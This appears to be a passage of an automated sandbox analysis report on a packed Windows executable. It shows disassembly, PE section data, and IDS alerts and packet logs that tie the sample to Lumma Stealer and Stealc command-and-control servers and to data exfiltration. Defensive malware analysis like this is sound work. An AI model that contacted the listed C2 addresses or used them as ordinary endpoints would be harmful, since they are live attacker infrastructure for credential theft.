add byte ptr [eax], al
add byte ptr [eax+00h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], bl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	33576a652dcb0e29435d860babd66df3	False	0.9995723549836601	data	7.9863817166572	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1ac	0x200	c4249243ceaeb236e3ce8ce2ab2c9a69	False	0.5390625	data	5.249019796122045	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x2b0000	0x200	f0e338b6257ebeb3b1e11618b0705a4d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
yxabeiju	0x305000	0x1a3000	0x1a2400	0f0b1db4091e64ceddc1fd9b41a61066	False	0.9946496282875075	data	7.954126275169314	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
yaueetdw	0x4a8000	0x1000	0x400	154cae13522013aeb9a02d11569c6a65	False	0.77734375	data	6.1335506467438385	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a9000	0x3000	0x2200	5dd63e4e638355fd3916de2ade712dba	False	0.05847886029411765	DOS executable (COM)	0.7421884890224854	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x53058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T17:28:17.378594+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49706	104.21.36.201	443	TCP
2024-12-23T17:28:18.130629+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49706	104.21.36.201	443	TCP
2024-12-23T17:28:18.130629+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49706	104.21.36.201	443	TCP
2024-12-23T17:28:19.527337+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49707	104.21.36.201	443	TCP
2024-12-23T17:28:20.576003+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49707	104.21.36.201	443	TCP
2024-12-23T17:28:20.576003+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49707	104.21.36.201	443	TCP
2024-12-23T17:28:23.505424+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49708	104.21.36.201	443	TCP
2024-12-23T17:28:25.770401+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49709	104.21.36.201	443	TCP
2024-12-23T17:28:28.584594+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49710	104.21.36.201	443	TCP
2024-12-23T17:28:32.219763+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49713	104.21.36.201	443	TCP
2024-12-23T17:28:32.997009+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	49713	104.21.36.201	443	TCP
2024-12-23T17:28:34.901021+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49714	104.21.36.201	443	TCP
2024-12-23T17:28:38.616321+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49715	104.21.36.201	443	TCP
2024-12-23T17:28:39.397381+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49715	104.21.36.201	443	TCP
2024-12-23T17:28:40.951748+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.8	49716	185.215.113.16	80	TCP
2024-12-23T17:28:56.045187+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49717	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 17:28:16.142663002 CET	49706	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:16.142708063 CET	443	49706	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:16.142827034 CET	49706	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:16.145859003 CET	49706	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:16.145874023 CET	443	49706	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:17.378446102 CET	443	49706	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:17.378593922 CET	49706	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:17.380867004 CET	49706	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:17.380893946 CET	443	49706	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:17.381151915 CET	443	49706	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:17.432779074 CET	49706	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:17.439680099 CET	49706	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:17.439696074 CET	49706	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:17.439837933 CET	443	49706	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:18.130620956 CET	443	49706	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:18.130744934 CET	443	49706	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:18.130968094 CET	49706	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:18.147334099 CET	49706	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:18.147350073 CET	443	49706	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:18.259596109 CET	49707	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:18.259637117 CET	443	49707	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:18.259725094 CET	49707	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:18.297421932 CET	49707	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:18.297440052 CET	443	49707	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:19.527246952 CET	443	49707	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:19.527337074 CET	49707	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:19.528700113 CET	49707	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:19.528721094 CET	443	49707	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:19.528991938 CET	443	49707	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:19.530602932 CET	49707	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:19.530632019 CET	49707	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:19.530684948 CET	443	49707	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:20.576004028 CET	443	49707	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:20.576080084 CET	443	49707	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:20.576102972 CET	443	49707	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:20.576129913 CET	49707	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:20.576138020 CET	443	49707	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:20.576163054 CET	443	49707	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:20.576180935 CET	49707	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:20.576185942 CET	443	49707	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:20.576224089 CET	49707	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:20.576227903 CET	443	49707	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:20.584309101 CET	443	49707	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:20.584383965 CET	49707	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:20.584392071 CET	443	49707	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:20.598774910 CET	443	49707	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:20.598877907 CET	49707	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:20.598884106 CET	443	49707	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:20.651581049 CET	49707	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:20.696021080 CET	443	49707	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:20.745301008 CET	49707	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:20.745322943 CET	443	49707	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:20.771856070 CET	443	49707	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:20.771888018 CET	443	49707	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:20.771920919 CET	49707	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:20.771929979 CET	443	49707	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:20.771974087 CET	49707	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:20.771980047 CET	443	49707	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:20.772022963 CET	443	49707	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:20.772069931 CET	49707	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:20.858335018 CET	49707	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:20.858357906 CET	443	49707	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:20.858370066 CET	49707	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:20.858376026 CET	443	49707	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:21.570296049 CET	49708	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:21.570327997 CET	443	49708	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:21.570403099 CET	49708	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:21.570825100 CET	49708	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:21.570836067 CET	443	49708	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:23.505328894 CET	443	49708	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:23.505424023 CET	49708	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:23.518651962 CET	49708	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:23.518667936 CET	443	49708	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:23.518981934 CET	443	49708	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:23.520895004 CET	49708	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:23.521195889 CET	49708	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:23.521266937 CET	443	49708	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:24.416627884 CET	443	49708	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:24.416723967 CET	443	49708	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:24.416821957 CET	49708	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:24.416930914 CET	49708	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:24.416948080 CET	443	49708	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:24.525357962 CET	49709	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:24.525398016 CET	443	49709	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:24.525497913 CET	49709	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:24.525790930 CET	49709	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:24.525808096 CET	443	49709	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:25.770303011 CET	443	49709	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:25.770401001 CET	49709	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:25.771572113 CET	49709	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:25.771590948 CET	443	49709	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:25.771857023 CET	443	49709	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:25.773017883 CET	49709	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:25.773166895 CET	49709	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:25.773212910 CET	443	49709	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:25.773264885 CET	49709	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:25.819334984 CET	443	49709	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:26.624183893 CET	443	49709	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:26.624289989 CET	443	49709	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:26.624341965 CET	49709	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:26.856903076 CET	49709	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:26.856950045 CET	443	49709	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:27.346918106 CET	49710	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:27.346967936 CET	443	49710	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:27.347058058 CET	49710	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:27.347410917 CET	49710	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:27.347420931 CET	443	49710	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:28.584439039 CET	443	49710	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:28.584594011 CET	49710	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:28.586097002 CET	49710	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:28.586107969 CET	443	49710	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:28.586344957 CET	443	49710	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:28.588134050 CET	49710	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:28.588316917 CET	49710	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:28.588346958 CET	443	49710	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:28.588412046 CET	49710	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:28.588418961 CET	443	49710	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:29.632431984 CET	443	49710	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:29.632543087 CET	443	49710	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:29.632603884 CET	49710	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:29.632895947 CET	49710	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:29.632909060 CET	443	49710	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:30.734231949 CET	49713	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:30.734296083 CET	443	49713	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:30.734361887 CET	49713	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:30.734668016 CET	49713	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:30.734680891 CET	443	49713	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:32.219686031 CET	443	49713	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:32.219763041 CET	49713	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:32.220982075 CET	49713	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:32.220998049 CET	443	49713	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:32.221244097 CET	443	49713	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:32.222618103 CET	49713	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:32.222711086 CET	49713	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:32.222718954 CET	443	49713	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:32.997014046 CET	443	49713	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:32.997123003 CET	443	49713	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:32.997175932 CET	49713	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:33.012423038 CET	49713	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:33.012475967 CET	443	49713	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:33.681972980 CET	49714	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:33.682014942 CET	443	49714	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:33.682101965 CET	49714	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:33.682403088 CET	49714	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:33.682418108 CET	443	49714	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:34.899488926 CET	443	49714	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:34.901021004 CET	49714	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:34.901021004 CET	49714	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:34.901036978 CET	443	49714	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:34.901278973 CET	443	49714	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:34.903297901 CET	49714	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:34.903297901 CET	49714	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:34.903337955 CET	443	49714	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:34.904159069 CET	49714	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:34.904196978 CET	443	49714	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:34.904408932 CET	49714	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:34.904448986 CET	443	49714	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:34.904612064 CET	49714	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:34.904644012 CET	443	49714	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:34.904808998 CET	49714	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:34.904845953 CET	443	49714	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:34.905045033 CET	49714	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:34.905066013 CET	443	49714	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:34.905076027 CET	49714	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:34.905088902 CET	443	49714	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:34.905246019 CET	49714	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:34.905278921 CET	443	49714	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:34.905308008 CET	49714	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:34.905455112 CET	49714	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:34.905482054 CET	49714	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:34.947335958 CET	443	49714	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:34.947607994 CET	49714	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:34.947647095 CET	443	49714	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:34.947674990 CET	49714	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:34.947690964 CET	443	49714	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:34.947726011 CET	49714	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:34.947746038 CET	443	49714	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:34.947771072 CET	49714	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:34.947781086 CET	443	49714	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:37.362272024 CET	443	49714	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:37.362395048 CET	443	49714	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:37.362478971 CET	49714	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:37.362703085 CET	49714	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:37.362716913 CET	443	49714	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:37.383959055 CET	49715	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:37.383995056 CET	443	49715	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:37.384073973 CET	49715	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:37.384357929 CET	49715	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:37.384371042 CET	443	49715	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:38.616225958 CET	443	49715	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:38.616321087 CET	49715	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:38.642498016 CET	49715	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:38.642527103 CET	443	49715	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:38.643614054 CET	443	49715	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:38.662141085 CET	49715	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:38.662220955 CET	49715	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:38.662322998 CET	443	49715	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:39.397469044 CET	443	49715	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:39.397727013 CET	443	49715	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:39.397800922 CET	49715	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:39.398086071 CET	49715	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:39.398108006 CET	443	49715	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:39.398144007 CET	49715	443	192.168.2.8	104.21.36.201
Dec 23, 2024 17:28:39.398152113 CET	443	49715	104.21.36.201	192.168.2.8
Dec 23, 2024 17:28:39.402638912 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:39.522115946 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:39.522315025 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:39.522545099 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:39.642018080 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:40.951553106 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:40.951596975 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:40.951607943 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:40.951622009 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:40.951636076 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:40.951747894 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:40.951797009 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:40.951807976 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:40.951814890 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:40.951821089 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:40.951833963 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:40.951859951 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:40.951896906 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:41.072341919 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:41.072417974 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:41.072505951 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:41.143946886 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:41.144069910 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:41.144239902 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:41.148139000 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:41.148196936 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:41.148310900 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:41.156510115 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:41.156634092 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:41.157217026 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:41.164869070 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:41.164995909 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:41.165148973 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:41.173305988 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:41.173404932 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:41.173554897 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:41.181622982 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:41.181718111 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:41.182005882 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:41.190068007 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:41.190177917 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:41.190758944 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:41.198601961 CET	80	49716	185.215.113.16	192.168.2.8
